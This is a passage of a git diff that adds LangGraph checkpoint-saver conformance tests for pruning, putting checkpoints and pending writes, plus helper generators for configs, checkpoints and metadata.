1 + assert ( + results[0].config["configurable"]["checkpoint_id"] + == expected["configurable"]["checkpoint_id"] + ) + + +async def test_prune_keep_latest_preserves_writes( + saver: BaseCheckpointSaver, +) -> None: + """Latest checkpoint's writes kept.""" + tid = str(uuid4()) + configs = await _setup_thread(saver, tid, n=3) + + # Add writes to the latest + await saver.aput_writes(configs[-1], [("ch", "val")], str(uuid4())) + + await saver.aprune([tid], strategy="keep_latest") + tup = await saver.aget_tuple(generate_config(tid)) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 1, ( + f"Expected 1 write, got {len(tup.pending_writes)}" + ) + assert tup.pending_writes[0][1] == "ch", ( + f"channel mismatch: {tup.pending_writes[0][1]!r}" + ) + assert tup.pending_writes[0][2] == "val", ( + f"value mismatch: {tup.pending_writes[0][2]!r}" + ) + + +async def test_prune_delete_all(saver: BaseCheckpointSaver) -> None: + """delete_all strategy removes everything.""" + tid = str(uuid4()) + await _setup_thread(saver, tid, n=3) + + await saver.aprune([tid], strategy="delete") + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + assert len(results) == 0 + + +async def test_prune_preserves_other_threads( + saver: BaseCheckpointSaver, +) -> None: + """Unlisted threads untouched.""" + tid1, tid2 = str(uuid4()), str(uuid4()) + await _setup_thread(saver, tid1, n=3) + await _setup_thread(saver, tid2, n=2) + + # Snapshot tid2 before prune + pre_ids = [] + async for tup in saver.alist(generate_config(tid2)): + pre_ids.append(tup.checkpoint["id"]) + + await saver.aprune([tid1], strategy="keep_latest") + # tid2 should be fully intact — same checkpoint IDs + post_ids = [] + async for tup in saver.alist(generate_config(tid2)): + post_ids.append(tup.checkpoint["id"]) + assert post_ids == pre_ids, f"tid2 changed: {pre_ids} -> {post_ids}" + + +async def test_prune_empty_list_noop(saver: BaseCheckpointSaver) -> None: + """Empty thread_ids no error.""" + await saver.aprune([], strategy="keep_latest") + + +async def test_prune_nonexistent_noop(saver: BaseCheckpointSaver) -> None: + """Missing threads no error.""" + await saver.aprune([str(uuid4())], strategy="keep_latest") + + +ALL_PRUNE_TESTS = [ + test_prune_keep_latest_single_thread, + test_prune_keep_latest_multiple_threads, + test_prune_keep_latest_across_namespaces, + test_prune_keep_latest_preserves_writes, + test_prune_delete_all, + test_prune_preserves_other_threads, + test_prune_empty_list_noop, + test_prune_nonexistent_noop, +] + + +async def run_prune_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all prune tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_PRUNE_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("prune", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result("prune", test_fn.__name__, False, traceback.format_exc()) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put.py new file mode 100644 index 0000000..f752172 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put.py @@ -0,0 +1,411 @@ +"""PUT capability tests — aput + aget_tuple round-trip.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from typing import Any +from uuid import uuid4 + +from langgraph.checkpoint.base import ( + BaseCheckpointSaver, + ChannelVersions, +) + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def test_put_returns_config(saver: BaseCheckpointSaver) -> None: + """aput returns a RunnableConfig with thread_id, checkpoint_ns, checkpoint_id.""" + config = generate_config() + cp = generate_checkpoint(channel_values={"k": "v"}) + cp["channel_versions"] = {"k": 1} + md = generate_metadata() + + result = await saver.aput(config, cp, md, {"k": 1}) + + assert "configurable" in result + conf = result["configurable"] + assert "thread_id" in conf + assert "checkpoint_ns" in conf + assert "checkpoint_id" in conf + assert conf["checkpoint_id"] == cp["id"] + + +async def test_put_roundtrip(saver: BaseCheckpointSaver) -> None: + """put then get_tuple returns identical checkpoint.""" + config = generate_config() + cp = generate_checkpoint(channel_values={"msg": "hello"}) + cp["channel_versions"] = {"msg": 1} + md = generate_metadata(source="input", step=-1) + + stored_config = await saver.aput(config, cp, md, {"msg": 1}) + + tup = await saver.aget_tuple(stored_config) + assert tup is not None + assert tup.checkpoint["id"] == cp["id"] + assert tup.checkpoint["channel_values"] == {"msg": "hello"} + + +async def test_put_preserves_channel_values(saver: BaseCheckpointSaver) -> None: + """Various types (str, int, list, dict, bytes, None) round-trip correctly.""" + values: dict[str, Any] = { + "str_val": "hello", + "int_val": 42, + "list_val": [1, 2, 3], + "dict_val": {"nested": True}, + } + config = generate_config() + cp = generate_checkpoint(channel_values=values) + versions: ChannelVersions = {k: 1 for k in values} + cp["channel_versions"] = versions + md = generate_metadata() + + stored = await saver.aput(config, cp, md, versions) + tup = await saver.aget_tuple(stored) + assert tup is not None + for k, v in values.items(): + assert tup.checkpoint["channel_values"].get(k) == v, ( + f"channel_values[{k}]: expected {v!r}, got {tup.checkpoint['channel_values'].get(k)!r}" + ) + + +async def test_put_preserves_channel_versions(saver: BaseCheckpointSaver) -> None: + """ChannelVersions round-trip correctly.""" + versions: ChannelVersions = {"a": 1, "b": 2} + config = generate_config() + cp = generate_checkpoint( + channel_values={"a": "x", "b": "y"}, channel_versions=versions + ) + md = generate_metadata() + + stored = await saver.aput(config, cp, md, versions) + tup = await saver.aget_tuple(stored) + assert tup is not None + # Compare version values — checkpointers may convert int to str + for k, expected in versions.items(): + actual = tup.checkpoint["channel_versions"].get(k) + assert actual is not None, f"channel_versions[{k}] missing" + assert str(actual).split(".")[0] == str(expected).split(".")[0], ( + f"channel_versions[{k}]: expected {expected!r}, got {actual!r}" + ) + + +async def test_put_preserves_versions_seen(saver: BaseCheckpointSaver) -> None: + """versions_seen dict round-trips.""" + vs: dict[str, ChannelVersions] = {"node1": {"ch": 1}, "node2": {"ch": 2}} + config = generate_config() + cp = generate_checkpoint(versions_seen=vs) + md = generate_metadata() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + for node in vs: + assert node in tup.checkpoint["versions_seen"], f"versions_seen[{node}] missing" + + +async def test_put_preserves_metadata(saver: BaseCheckpointSaver) -> None: + """Metadata source, step, parents, and custom keys round-trip.""" + md = generate_metadata(source="loop", step=3, custom_key="custom_value") + config = generate_config() + cp = generate_checkpoint() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.metadata["source"] == "loop" + assert tup.metadata["step"] == 3 + assert tup.metadata.get("custom_key") == "custom_value" + + +async def test_put_root_namespace(saver: BaseCheckpointSaver) -> None: + """checkpoint_ns='' works.""" + config = generate_config(checkpoint_ns="") + cp = generate_checkpoint() + md = generate_metadata() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.config["configurable"].get("checkpoint_ns", "") == "" + + +async def test_put_child_namespace(saver: BaseCheckpointSaver) -> None: + """checkpoint_ns='child:abc' works.""" + config = generate_config(checkpoint_ns="child:abc") + cp = generate_checkpoint() + md = generate_metadata() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.config["configurable"]["checkpoint_ns"] == "child:abc" + + +async def test_put_default_namespace(saver: BaseCheckpointSaver) -> None: + """Config without checkpoint_ns defaults to ''.""" + tid = str(uuid4()) + config = {"configurable": {"thread_id": tid, "checkpoint_ns": ""}} + cp = generate_checkpoint() + md = generate_metadata() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + + +async def test_put_multiple_checkpoints_same_thread( + saver: BaseCheckpointSaver, +) -> None: + """Sequential puts on same thread, all retrievable.""" + tid = str(uuid4()) + ids = [] + parent_cfg = None + for i in range(3): + config = generate_config(tid) + if parent_cfg is not None: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + md = generate_metadata(step=i) + parent_cfg = await saver.aput(config, cp, md, {}) + ids.append(cp["id"]) + + # All three should be retrievable + for cid in ids: + cfg = generate_config(tid, checkpoint_id=cid) + tup = await saver.aget_tuple(cfg) + assert tup is not None, f"checkpoint {cid} not found" + assert tup.checkpoint["id"] == cid + + +async def test_put_multiple_threads_isolated(saver: BaseCheckpointSaver) -> None: + """Different thread_ids don't interfere.""" + tid1, tid2 = str(uuid4()), str(uuid4()) + + config1 = generate_config(tid1) + cp1 = generate_checkpoint(channel_values={"x": "thread1"}) + cp1["channel_versions"] = {"x": 1} + await saver.aput(config1, cp1, generate_metadata(), {"x": 1}) + + config2 = generate_config(tid2) + cp2 = generate_checkpoint(channel_values={"x": "thread2"}) + cp2["channel_versions"] = {"x": 1} + await saver.aput(config2, cp2, generate_metadata(), {"x": 1}) + + tup1 = await saver.aget_tuple(generate_config(tid1)) + tup2 = await saver.aget_tuple(generate_config(tid2)) + assert tup1 is not None and tup2 is not None + assert tup1.checkpoint["channel_values"]["x"] == "thread1" + assert tup2.checkpoint["channel_values"]["x"] == "thread2" + + +async def test_put_parent_config(saver: BaseCheckpointSaver) -> None: + """parent checkpoint_id tracked correctly.""" + tid = str(uuid4()) + config1 = generate_config(tid) + cp1 = generate_checkpoint() + stored1 = await saver.aput(config1, cp1, generate_metadata(step=0), {}) + + # Second checkpoint — its config carries the parent checkpoint_id + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint() + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {}) + + tup = await saver.aget_tuple(stored2) + assert tup is not None + assert tup.parent_config is not None + assert ( + tup.parent_config["configurable"]["checkpoint_id"] + == stored1["configurable"]["checkpoint_id"] + ) + + +async def test_put_incremental_channel_update(saver: BaseCheckpointSaver) -> None: + """Only updated channels need new blobs; unchanged channels loaded from prior versions.""" + tid = str(uuid4()) + + # Checkpoint 1: both channels are new + config1 = generate_config(tid) + cp1 = generate_checkpoint( + channel_values={"a": "v1", "b": "v2"}, + channel_versions={"a": 1, "b": 1}, + ) + stored1 = await saver.aput( + config1, cp1, generate_metadata(step=0), {"a": 1, "b": 1} + ) + + # Checkpoint 2: only 'a' is updated + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint( + channel_values={"a": "v1_updated", "b": "v2"}, + channel_versions={"a": 2, "b": 1}, + ) + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {"a": 2}) + + # cp2 should reconstruct full channel_values from blobs at mixed versions + tup2 = await saver.aget_tuple(stored2) + assert tup2 is not None + assert tup2.checkpoint["channel_values"].get("a") == "v1_updated", ( + f"a: expected 'v1_updated', got {tup2.checkpoint['channel_values'].get('a')!r}" + ) + assert tup2.checkpoint["channel_values"].get("b") == "v2", ( + f"b: expected 'v2', got {tup2.checkpoint['channel_values'].get('b')!r}" + ) + + # cp1 should still return original values + tup1 = await saver.aget_tuple(stored1) + assert tup1 is not None + assert tup1.checkpoint["channel_values"].get("a") == "v1" + assert tup1.checkpoint["channel_values"].get("b") == "v2" + + +async def test_put_new_channel_added(saver: BaseCheckpointSaver) -> None: + """A channel that appears for the first time in a later checkpoint.""" + tid = str(uuid4()) + + config1 = generate_config(tid) + cp1 = generate_checkpoint( + channel_values={"a": "v1"}, + channel_versions={"a": 1}, + ) + stored1 = await saver.aput(config1, cp1, generate_metadata(step=0), {"a": 1}) + + # Checkpoint 2: 'b' is brand new, 'a' is unchanged + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint( + channel_values={"a": "v1", "b": "new_channel"}, + channel_versions={"a": 1, "b": 1}, + ) + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {"b": 1}) + + tup2 = await saver.aget_tuple(stored2) + assert tup2 is not None + assert tup2.checkpoint["channel_values"].get("a") == "v1", ( + f"a: expected 'v1', got {tup2.checkpoint['channel_values'].get('a')!r}" + ) + assert tup2.checkpoint["channel_values"].get("b") == "new_channel", ( + f"b: expected 'new_channel', got {tup2.checkpoint['channel_values'].get('b')!r}" + ) + + +async def test_put_channel_removed(saver: BaseCheckpointSaver) -> None: + """Channel no longer in channel_versions should not appear in loaded values.""" + tid = str(uuid4()) + + config1 = generate_config(tid) + cp1 = generate_checkpoint( + channel_values={"a": "v1", "b": "v2"}, + channel_versions={"a": 1, "b": 1}, + ) + stored1 = await saver.aput( + config1, cp1, generate_metadata(step=0), {"a": 1, "b": 1} + ) + + # Checkpoint 2: 'b' dropped from channel_versions + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint( + channel_values={"a": "v1_updated"}, + channel_versions={"a": 2}, + ) + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {"a": 2}) + + tup2 = await saver.aget_tuple(stored2) + assert tup2 is not None + assert tup2.checkpoint["channel_values"].get("a") == "v1_updated" + assert "b" not in tup2.checkpoint["channel_values"], ( + f"'b' should not be present, got {tup2.checkpoint['channel_values']}" + ) + + +async def test_put_preserves_run_id(saver: BaseCheckpointSaver) -> None: + """run_id in metadata round-trips correctly.""" + run_id = str(uuid4()) + config = generate_config() + cp = generate_checkpoint() + md = generate_metadata(source="loop", step=0, run_id=run_id) + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.metadata.get("run_id") == run_id, ( + f"run_id: expected {run_id!r}, got {tup.metadata.get('run_id')!r}" + ) + + +async def test_put_preserves_versions_seen_values(saver: BaseCheckpointSaver) -> None: + """versions_seen values (not just keys) round-trip correctly.""" + vs: dict[str, ChannelVersions] = { + "node1": {"ch_a": 1, "ch_b": 2}, + "node2": {"ch_a": 3}, + } + config = generate_config() + cp = generate_checkpoint(versions_seen=vs) + md = generate_metadata() + + stored = await saver.aput(config, cp, md, {}) + tup = await saver.aget_tuple(stored) + assert tup is not None + for node, expected_versions in vs.items(): + assert node in tup.checkpoint["versions_seen"], f"versions_seen[{node}] missing" + actual_versions = tup.checkpoint["versions_seen"][node] + for ch, expected_v in expected_versions.items(): + actual_v = actual_versions.get(ch) + assert actual_v is not None, f"versions_seen[{node}][{ch}] missing" + assert str(actual_v).split(".")[0] == str(expected_v).split(".")[0], ( + f"versions_seen[{node}][{ch}]: expected {expected_v!r}, got {actual_v!r}" + ) + + +ALL_PUT_TESTS = [ + test_put_returns_config, + test_put_roundtrip, + test_put_preserves_channel_values, + test_put_preserves_channel_versions, + test_put_preserves_versions_seen, + test_put_preserves_metadata, + test_put_root_namespace, + test_put_child_namespace, + test_put_default_namespace, + test_put_multiple_checkpoints_same_thread, + test_put_multiple_threads_isolated, + test_put_parent_config, + test_put_incremental_channel_update, + test_put_new_channel_added, + test_put_channel_removed, + test_put_preserves_run_id, + test_put_preserves_versions_seen_values, +] + + +async def run_put_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all put tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_PUT_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("put", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result("put", test_fn.__name__, False, traceback.format_exc()) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put_writes.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put_writes.py new file mode 100644 index 0000000..6d049af --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_put_writes.py @@ -0,0 +1,302 @@ +"""PUT_WRITES capability tests — aput_writes + pending_writes retrieval.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def test_put_writes_basic(saver: BaseCheckpointSaver) -> None: + """Write stored, visible in aget_tuple pending_writes.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes(stored, [("channel1", "value1")], task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + # Verify exact write tuple: (task_id, channel, value) + matching = [w for w in tup.pending_writes if w[0] == task_id and w[1] == "channel1"] + assert len(matching) == 1, f"Expected 1 write, got {len(matching)}" + assert matching[0][2] == "value1", f"Value mismatch: {matching[0][2]!r}" + + +async def test_put_writes_multiple_writes_same_task( + saver: BaseCheckpointSaver, +) -> None: + """Multiple (channel, value) pairs in a single call.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + writes = [("ch1", "v1"), ("ch2", "v2"), ("ch3", "v3")] + await saver.aput_writes(stored, writes, task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 3, ( + f"Expected 3 writes, got {len(tup.pending_writes)}" + ) + channels = {w[1] for w in tup.pending_writes} + assert channels == {"ch1", "ch2", "ch3"}, f"Expected exact channels, got {channels}" + # Verify values per channel + for expected_ch, expected_val in writes: + match = [ + w for w in tup.pending_writes if w[0] == task_id and w[1] == expected_ch + ] + assert len(match) == 1, f"Expected 1 write for {expected_ch}, got {len(match)}" + assert match[0][2] == expected_val, ( + f"Value mismatch for {expected_ch}: {match[0][2]!r}" + ) + + +async def test_put_writes_multiple_tasks(saver: BaseCheckpointSaver) -> None: + """Different task_ids produce separate writes.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + t1, t2 = str(uuid4()), str(uuid4()) + await saver.aput_writes(stored, [("ch", "from_t1")], t1) + await saver.aput_writes(stored, [("ch", "from_t2")], t2) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 2, ( + f"Expected 2 writes, got {len(tup.pending_writes)}" + ) + # Verify values per task + t1_writes = [w for w in tup.pending_writes if w[0] == t1 and w[1] == "ch"] + t2_writes = [w for w in tup.pending_writes if w[0] == t2 and w[1] == "ch"] + assert len(t1_writes) == 1, f"Expected 1 write from t1, got {len(t1_writes)}" + assert len(t2_writes) == 1, f"Expected 1 write from t2, got {len(t2_writes)}" + assert t1_writes[0][2] == "from_t1", f"t1 value: {t1_writes[0][2]!r}" + assert t2_writes[0][2] == "from_t2", f"t2 value: {t2_writes[0][2]!r}" + + +async def test_put_writes_preserves_task_id(saver: BaseCheckpointSaver) -> None: + """task_id in pending_writes matches what was passed to aput_writes.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes(stored, [("ch", "val")], task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert any(w[0] == task_id for w in tup.pending_writes) + + +async def test_put_writes_preserves_channel_and_value( + saver: BaseCheckpointSaver, +) -> None: + """Channel name + value round-trip.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes(stored, [("my_channel", {"data": 123})], task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + match = [w for w in tup.pending_writes if w[0] == task_id and w[1] == "my_channel"] + assert len(match) == 1, f"Expected 1 write, got {len(match)}" + assert match[0][2] == {"data": 123}, f"Value mismatch: {match[0][2]!r}" + + +async def test_put_writes_task_path(saver: BaseCheckpointSaver) -> None: + """task_path parameter accepted without error.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + # Should not raise + await saver.aput_writes(stored, [("ch", "v")], task_id, task_path="a:b:c") + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 1 + + +async def test_put_writes_idempotent(saver: BaseCheckpointSaver) -> None: + """Duplicate (task_id, idx) doesn't duplicate writes.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes(stored, [("ch", "val")], task_id) + await saver.aput_writes(stored, [("ch", "val")], task_id) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 1, ( + f"Expected exactly 1 write total, got {len(tup.pending_writes)}" + ) + # Should not have duplicated + matching = [w for w in tup.pending_writes if w[0] == task_id and w[1] == "ch"] + assert len(matching) == 1 + + +async def test_put_writes_special_channels(saver: BaseCheckpointSaver) -> None: + """ERROR and INTERRUPT channels handled correctly.""" + from langgraph.checkpoint.serde.types import ERROR, INTERRUPT + + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + + task_id = str(uuid4()) + await saver.aput_writes( + stored, + [(ERROR, "something went wrong"), (INTERRUPT, {"reason": "human_input"})], + task_id, + ) + + tup = await saver.aget_tuple(stored) + assert tup is not None + assert tup.pending_writes is not None + channels = {w[1] for w in tup.pending_writes} + assert ERROR in channels + assert INTERRUPT in channels + # Verify values + err_writes = [w for w in tup.pending_writes if w[0] == task_id and w[1] == ERROR] + assert len(err_writes) == 1, f"Expected 1 ERROR write, got {len(err_writes)}" + assert err_writes[0][2] == "something went wrong", ( + f"ERROR value: {err_writes[0][2]!r}" + ) + int_writes = [ + w for w in tup.pending_writes if w[0] == task_id and w[1] == INTERRUPT + ] + assert len(int_writes) == 1, f"Expected 1 INTERRUPT write, got {len(int_writes)}" + assert int_writes[0][2] == {"reason": "human_input"}, ( + f"INTERRUPT value: {int_writes[0][2]!r}" + ) + + +async def test_put_writes_across_namespaces(saver: BaseCheckpointSaver) -> None: + """Writes isolated by checkpoint_ns.""" + tid = str(uuid4()) + + # Root namespace checkpoint + write + cfg_root = generate_config(tid, checkpoint_ns="") + cp_root = generate_checkpoint() + stored_root = await saver.aput(cfg_root, cp_root, generate_metadata(), {}) + root_task = str(uuid4()) + await saver.aput_writes(stored_root, [("ch", "root_val")], root_task) + + # Child namespace checkpoint + write + cfg_child = generate_config(tid, checkpoint_ns="child:1") + cp_child = generate_checkpoint() + stored_child = await saver.aput(cfg_child, cp_child, generate_metadata(), {}) + child_task = str(uuid4()) + await saver.aput_writes(stored_child, [("ch", "child_val")], child_task) + + # Verify isolation — root should have exactly 1 write with root_val + tup_root = await saver.aget_tuple(stored_root) + assert tup_root is not None + assert tup_root.pending_writes is not None + root_ch = [w for w in tup_root.pending_writes if w[1] == "ch"] + assert len(root_ch) == 1, f"Expected 1 root write, got {len(root_ch)}" + assert root_ch[0][2] == "root_val", f"Root value: {root_ch[0][2]!r}" + + # Child should have exactly 1 write with child_val + tup_child = await saver.aget_tuple(stored_child) + assert tup_child is not None + assert tup_child.pending_writes is not None + child_ch = [w for w in tup_child.pending_writes if w[1] == "ch"] + assert len(child_ch) == 1, f"Expected 1 child write, got {len(child_ch)}" + assert child_ch[0][2] == "child_val", f"Child value: {child_ch[0][2]!r}" + + +async def test_put_writes_cleared_on_next_checkpoint( + saver: BaseCheckpointSaver, +) -> None: + """New checkpoint starts with fresh pending_writes.""" + tid = str(uuid4()) + config = generate_config(tid) + cp1 = generate_checkpoint() + stored1 = await saver.aput(config, cp1, generate_metadata(step=0), {}) + + await saver.aput_writes(stored1, [("ch", "old_write")], str(uuid4())) + + # New checkpoint + config2 = generate_config(tid) + config2["configurable"]["checkpoint_id"] = stored1["configurable"]["checkpoint_id"] + cp2 = generate_checkpoint() + stored2 = await saver.aput(config2, cp2, generate_metadata(step=1), {}) + + tup = await saver.aget_tuple(stored2) + assert tup is not None + # New checkpoint should have no pending writes + writes = tup.pending_writes or [] + assert len(writes) == 0 + + +ALL_PUT_WRITES_TESTS = [ + test_put_writes_basic, + test_put_writes_multiple_writes_same_task, + test_put_writes_multiple_tasks, + test_put_writes_preserves_task_id, + test_put_writes_preserves_channel_and_value, + test_put_writes_task_path, + test_put_writes_idempotent, + test_put_writes_special_channels, + test_put_writes_across_namespaces, + test_put_writes_cleared_on_next_checkpoint, +] + + +async def run_put_writes_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all put_writes tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_PUT_WRITES_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("put_writes", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result( + "put_writes", test_fn.__name__, False, traceback.format_exc() + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/test_utils.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/test_utils.py new file mode 100644 index 0000000..8f19a7e --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/test_utils.py @@ -0,0 +1,212 @@ +"""Test utilities: checkpoint generators, assertion helpers, bulk operations.""" + +from __future__ import annotations + +from datetime import datetime, timezone +from typing import Any +from uuid import uuid4 + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + ChannelVersions, + Checkpoint, + CheckpointMetadata, + CheckpointTuple, +) +from langgraph.checkpoint.base.id import uuid6 + + +def generate_checkpoint( + *, + checkpoint_id: str | None = None, + channel_values: dict[str, Any] | None = None, + channel_versions: ChannelVersions | None = None, + versions_seen: dict[str, ChannelVersions] | None = None, +) -> Checkpoint: + """Create a well-formed Checkpoint with sensible defaults.""" + return Checkpoint( + v=1, + id=checkpoint_id or str(uuid6(clock_seq=-1)), + ts=datetime.now(timezone.utc).isoformat(), + channel_values=channel_values if channel_values is not None else {}, + channel_versions=channel_versions if channel_versions is not None else {}, + versions_seen=versions_seen if versions_seen is not None else {}, + pending_sends=[], # ty: ignore[invalid-key] + updated_channels=None, + ) + + +def generate_config( + thread_id: str | None = None, + *, + checkpoint_ns: str = "", + checkpoint_id: str | None = None, +) -> RunnableConfig: + """Create a RunnableConfig targeting a specific thread / namespace / checkpoint.""" + configurable: dict[str, Any] = { + "thread_id": thread_id or str(uuid4()), + "checkpoint_ns": checkpoint_ns, + } + if checkpoint_id is not None: + configurable["checkpoint_id"] = checkpoint_id + return {"configurable": configurable} + + +def generate_metadata( + source: str = "loop", + step: int = 0, + **extra: Any, +) -> CheckpointMetadata: + """Create CheckpointMetadata with defaults.""" + md: dict[str, Any] = {"source": source, "step": step, "parents": {}} + md.update(extra) + return md + + +async def put_test_checkpoint( + saver: Any, + *, + thread_id: str | None = None, + checkpoint_ns: str = "", + parent_config: RunnableConfig | None = None, + channel_values: dict[str, Any] | None = None, + channel_versions: ChannelVersions | None = None, + metadata: CheckpointMetadata | None = None, + new_versions: ChannelVersions | None = None, +) -> RunnableConfig: + """Put a single test checkpoint and return the stored config. + + Handles wiring up parent_config, channel_values -> new_versions, etc. + """ + tid = thread_id or str(uuid4()) + cp = generate_checkpoint( + channel_values=channel_values, + channel_versions=channel_versions, + ) + + # When channel_values are provided, ensure channel_versions + new_versions + # are consistent so the checkpointer stores the blobs correctly. + vals = channel_values or {} + cv = channel_versions + if cv is None and vals: + cv: ChannelVersions = {k: 1 for k in vals} + cp["channel_versions"] = cv + nv = new_versions + if nv is None: + nv = cv or {} + + md = metadata or generate_metadata() + + config = generate_config(tid, checkpoint_ns=checkpoint_ns) + if parent_config is not None: + config["configurable"]["checkpoint_id"] = parent_config["configurable"][ + "checkpoint_id" + ] + + return await saver.aput(config, cp, md, nv) + + +async def put_test_checkpoints( + saver: Any, + *, + n_threads: int = 1, + n_checkpoints: int = 1, + namespaces: list[str] | None = None, + channel_values: dict[str, Any] | None = None, +) -> list[RunnableConfig]: + """Convenience: put multiple checkpoints across threads/namespaces. + + Returns the stored configs in insertion order. + """ + nss = namespaces or [""] + stored: list[RunnableConfig] = [] + for t in range(n_threads): + tid = f"thread-{t}" + for ns in nss: + parent: RunnableConfig | None = None + for _c in range(n_checkpoints): + cfg = await put_test_checkpoint( + saver, + thread_id=tid, + checkpoint_ns=ns, + parent_config=parent, + channel_values=channel_values, + ) + parent = cfg + stored.append(cfg) + return stored + + +def assert_checkpoint_equal( + actual: Checkpoint, + expected: Checkpoint, + *, + check_channel_values: bool = True, +) -> None: + """Assert two checkpoints are semantically equal.""" + assert actual["v"] == expected["v"], f"v mismatch: {actual['v']} != {expected['v']}" + assert actual["id"] == expected["id"], ( + f"id mismatch: {actual['id']} != {expected['id']}" + ) + assert actual["channel_versions"] == expected["channel_versions"], ( + "channel_versions mismatch" + ) + assert actual["versions_seen"] == expected["versions_seen"], ( + "versions_seen mismatch" + ) + if check_channel_values: + assert actual["channel_values"] == expected["channel_values"], ( + "channel_values mismatch" + ) + + +def 